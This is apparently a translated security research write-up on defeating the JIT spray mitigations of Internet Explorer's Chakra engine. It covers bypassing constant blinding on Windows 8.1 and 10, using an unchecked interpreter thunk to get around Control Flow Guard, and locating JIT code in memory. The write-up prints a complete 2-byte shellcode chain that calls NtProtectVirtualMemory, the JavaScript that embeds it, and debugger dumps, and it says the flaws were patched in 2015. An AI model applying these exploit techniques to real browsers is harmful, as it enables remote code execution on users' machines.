JIT spray is a vulnerability exploitation technology born in 2010, which can embed shellcode into the executable code generated by JIT engine. At present, almost all JIT engines including chakra take defensive measures against this technology, including random insertion of empty instructions, immediate encryption, etc. This article will point out two problems of chakra's JIT spray defense measures (in Windows 8.1 and earlier systems, and in Windows 10 respectively), which allow attackers to execute shellcode in IE with JIT spray technology, thus bypassing Dep. At the same time, this paper also gives a way to bypass CFG by using chakra's JIT engine.
0x01 immediate encryption of JIT engine
Immediate encryption is the most important JIT spray mitigation technology. The chakra engine will XOR the incoming immediate value of each user whose high or low order is not 0x0000 or 0xFFFF with randomly generated key, and then restore it at run time. For example, for the following javascript:
...
a ^= 0x90909090;
a ^= 0x90909090;
a ^= 0x90909090;
...
The machine instructions generated will be similar to:
...
096b0091 ba555593c5 mov edx,0C5935555h
096b0096 81f2c5c50355 xor edx,5503C5C5h
096b009c 33fa xor edi,edx
096b009e bab045edfb mov edx,0FBED45B0h
096b00a3 81f220d57d6b xor edx,6B7DD520h
096b00a9 33fa xor edi,edx
096b00ab baef85f139 mov edx,39F185EFh
096b00b0 81f27f1561a9 xor edx,0A961157Fh
096b00b6 33fa xor edi,edx
...
Thus, the immediacy in the generated instruction is unpredictable, and the code cannot be embedded.
0x02 bypass immediate encryption of chakra engine before windows 8.1
The internal integer n of chakra engine will be stored in the form of n * 2 + 1. Therefore, when dealing with n = n + m, it is not necessary to restore n from n * 2 + 1 and add it to m, just add m * 2 to the result of n * 2 + 1. For m * 2, the chakra engine of windows 8.1 and before will think that the data generated by itself is not the data passed in by users, so it will not be encrypted. For example, for the following javascript:
...
a += 0x18EB9090/2;
a += 0x18EB9090/2;
...
When several conditions are met at the same time, the chakra engine before windows 8.1 can generate machine instructions like this:
...
05010090 81c19090eb18 add ecx,18EB9090h
05010096 0f80d6010000 jo 05010272
0501009c 8bf9 mov edi,ecx
0501009e 8b5dbc mov ebx,dword ptr [ebp-44h]
050100a1 f6c301 test bl,1
050100a4 0f8413020000 je 050102bd
050100aa 8bcb mov ecx,ebx
050100ac 81c19090eb18 add ecx,18EB9090h
050100b2 0f8005020000 jo 050102bd
050100b8 8bf9 mov edi,ecx
050100ba 8b5dbc mov ebx,dword ptr [ebp-44h]
050100bd f6c301 test bl,1
050100c0 0f8442020000 je 05010308
050100c6 8bcb mov ecx,ebx
...
0:017> u 05010090 + 2 l 3
05010092 90 nop
05010093 90 nop
05010094 eb18 jmp 050100ae
0:017> u 050100ae l 3
050100ae 90 nop
050100af 90 nop
050100b0 eb18 jmp 050100ca
So as long as shellcode with length no more than 2 bytes per instruction is written out, it can be embedded in the immediate number. Because the actual immediate number generated is twice the number in JavaScript, if the instruction used is 2 bytes, the first byte must be even. This is entirely possible.
0x5854 // push esp--pop eax ; eax = esp, make eax writeable
0x5252 // push edx--push edx ; esp -= 8
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0x5E52 // push edx--pop esi ; esi = 0
0x40B6 // mov dh, 0x40 ; edx = 0x4000, NumberOfBytesToProtect
0x5452 // push edx--push esp ; *esp = &NumberOfBytesToProtect
0x5B90 // pop ebx ; ebx = &NumberOfBytesToProtect
0x14B6 // mov dh, 0x14
0x14B2 // mov dl, 0x14
0x5266 // push dx
0x5666 // push si ; *esp = 0x14140000
0x525A // pop edx-push edx ; edx = 0x14140000
0x5E54 // push esp--pop esi ; esi = &BaseAddress,
0x5454 // push esp--push esp ; push &OldAccessProtection
0x406A // push 0x40 ; PAGE_EXECUTE_READWRITE
0x5390 // push ebx ; push &NumberOfBytesToProtect
0x5690 // push esi ; push &BaseAddress
0xFF6A // push -1 ;
0x5252 // push edx--push edx ; set ret addr
0x5290 // push edx ; prepare esp for fs:[esi]
0x016A // push 1
0x4A5A // pop edx--dec edx ; edx = 0
0xC0B2 // mov dl, 0xC0
0x5E52 // push edx--pop esi
0x5F54 // push esp--pop edi
0xA564 // movs dword ptr [edi], dword ptr fs:[esi] ; *esp = *(fs:0xC0)
0x4FB2 // mov dl, 0x50 ; NtProtectVirtualMemory, Win8.1:0x4F, Win10:0x50
0x5290 // push edx
0xC358 // pop eax--ret ; ret to syscall
var ar = new Uint16Array(0x10000);
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
ar[0x9090/2] = 0x9090;
...
The machine instructions generated are:
...
0b8110e0 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110e9 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110f2 66c786909000009090 mov word ptr [esi+9090h],9090h
0b8110fb 66c786909000009090 mov word ptr [esi+9090h],9090h
...
Although the chakra engine's JIT spray defense only allows the user to control up to 2 bytes of immediate data, in this case, the array index and the number to be written will appear in the same instruction. So we actually have 4 bytes of controllable data instead of 2 bytes.
In this case, you can also embed the shellcode in which the length of each instruction mentioned above is no more than 2 bytes. Just because there are two more middle bytes 0x00 (which will be executed as instruction "add byte PTR [eax], Al"), it is necessary to set eax as a writable address in the first two bytes of instruction.
0x04 bypass CFG with chakra engine
With the two methods described above, JIT Spray can be implemented to bypass DEP. But the shellcode execution entry address embedded in JIT code obviously cannot pass the CFG check. But in fact, there are places in the implementation of chakra engine that can be used to bypass CFG.
Whether the executed JavaScript needs to start JIT or not, the chakra engine will generate the following entry functions in memory:
0:017> uf 4ff0000
04ff0000 55 push ebp
04ff0001 8bec mov ebp,esp
04ff0003 8b4508 mov eax,dword ptr [ebp+8]
04ff0006 8b4014 mov eax,dword ptr [eax+14h]
04ff0009 8b4840 mov ecx,dword ptr [eax+40h]
04ff000c 8d4508 lea eax,[ebp+8]
04ff000f 50 push eax
04ff0010 b840cb5a71 mov eax, 715acb40h ; jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>
04ff0015 ffe1 jmp ecx
The pointer of this function can pass the CFG check. At the same time, before JMP ECX, this function did not perform the CFG check on the pointer of ECX. So, this entry function is actually a springboard that can jump to any address. Let's call it "cfgjumper".
0x05 locate JIT memory and "cfgjumper"
To use JIT spray to bypass dep and cfgjumper to bypass CFG, you need to locate JIT compiled code and cfgjumper. Interestingly, the way to find them is almost the same.
Any function written in JavaScript corresponds to a JS:: scriptfunction object. Each JS:: scriptfunction object contains another JS:: functionbody object. The JS:: functionbody object holds the memory pointer actually executed when calling this JavaScript function.
If a function has not been called, the actual memory pointer stored in its JS:: functionbody is JS:: interpreter stack frame:: delaydynamic interpreter thunk:
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 70181720 00000001 00000000 p..o ..p........
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 70181720 l 1
Chakra!Js::InterpreterStackFrame::DelayDynamicInterpreterThunk:
70181720 55 push ebp
If a function has been called but has not been compiled into JIT code and is still interpreted and executed, the actual memory pointer stored in its JS:: functionbody is "cfgjumper":
0:002> dc 0b89de70 l 8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> dc 0b8d0000 l 8
0b8d0000 6ff6c970 00860000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00860000
00860000 55 push ebp
00860001 8bec mov ebp,esp
00860003 8b4508 mov eax,dword ptr [ebp+8]
00860006 8b4014 mov eax,dword ptr [eax+14h]
00860009 8b4840 mov ecx,dword ptr [eax+40h]
0086000c 8d4508 lea eax,[ebp+8]
0086000f 50 push eax
00860010 b800240870 mov 70082400h ; Chakra!Js::InterpreterStackFrame::InterpreterThunk
If a function is called repeatedly, which causes the chakra engine to compile it into JIT code, the actual memory pointer stored in its JS:: functionbody is the JIT code pointer after the function is compiled:
0:002> d 0b89de70 l8
0b89de70 6ff72808 0b89de40 00000000 00000000 .(.o@...........
0b89de80 70523168 0b8d0000 7041f35c 00000000 h1Rp....\.Ap....
0:002> d 0b8d0000 l8
0b8d0000 6ff6c970 00950000 00000001 00000000 p..o............
0b8d0010 0b8d0000 000001b8 072cc7e0 0b418ea0 ..........,...A.
0:002> u 00950000
00950000 55 push ebp
00950001 8bec mov ebp,esp
00950003 81fc44c9120b cmp esp,0B12C944h
00950009 7f18 jg 00950023
0095000b 6a00 push 0
0095000d 6a00 push 0
0095000f 68e0c72c07 push 72CC7E0h
00950014 6844090000 push 944h
Knowing the structure of JS:: scriptfunction and JS:: functionbody objects, as well as the above, you can find the compiled JIT code and "cfgjumper" accurately.
0x06 random insertion of null instructions
In addition to immediate encryption, the chakra engine also uses random insertion of null instructions to alleviate JIT spray. However, the density of chakra null instructions is not high. The JIT shellcode, which is composed of 29 16 bits, used in POC, will generate 29 x86 instructions in the utilization mode for windows 10, of which almost no null instructions will be inserted. However, in the utilization of chakra engine for windows 8.1 and before, about 200 x86 instructions will be generated, which is likely to be inserted into null instructions.
The solution to this problem is: 1. Create a new script tag and put the JavaScript function containing JIT shellcode in it. 2. A loop call to this function triggers JIT compilation. 3. Read the compiled code and determine whether the empty instruction is inserted in the JIT shellcode. 4. If an empty instruction is inserted, the script tag is destroyed and recreated. Cycle the above process.
The test environment for this article is windows 8.1 and windows 10 TP 9926 with the May 2015 patch installed. The problems described in this article were fixed by Microsoft in September 2015.